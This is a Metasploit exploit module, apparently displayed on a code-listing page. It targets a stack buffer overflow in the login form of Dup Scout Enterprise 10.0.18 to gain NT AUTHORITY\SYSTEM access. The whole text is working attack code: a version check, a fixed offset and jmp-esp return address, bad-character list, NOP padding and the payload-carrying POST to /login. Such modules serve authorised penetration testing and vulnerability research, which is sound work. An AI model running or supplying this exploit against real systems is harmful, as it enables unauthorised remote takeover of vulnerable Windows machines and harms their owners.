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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Dup Scout Enterprise Login Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Dup Scout Enterprise 10.0.18. The buffer overflow exists via the web interface during login. This gives NT AUTHORITY\SYSTEM access. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Chris Higgins', # msf Module -- @ch1gg1ns 'sickness' # Original discovery ], 'References' => [ [ 'EDB', '43145' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload'=> { 'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d" }, 'Targets'=> [ [ 'Dup Scout Enterprise 10.0.18', { 'Ret' => 0x10090c83, # jmp esp - libspp.dll 'Offset' => 780 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Nov 14 2017', 'DefaultTarget'=> 0)) register_options([Opt::RPORT(80)]) end def check res = send_request_cgi({ 'uri'=> '/', 'method' => 'GET' }) if res and res.code == 200 and res.body =~ /Dup Scout Enterprise v10\.0\.18/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit connect print_status("Generating exploit...") evil =rand_text(target['Offset']) evil << [target.ret].pack('V') evil << make_nops(12) evil << payload.encoded evil << make_nops(10000 - evil.length) vprint_status("Evil length: " + evil.length.to_s) sploit ="username=" sploit << evil sploit << "&password=" sploit << rand_text(evil.length) sploit << "\r\n" print_status("Triggering the exploit now...") res = send_request_cgi({ 'uri' => '/login', 'method' => 'POST', 'content-type' => 'application/x-www-form-urlencoded', 'content-length' => '17000', 'data' => sploit }) handler disconnect end end |
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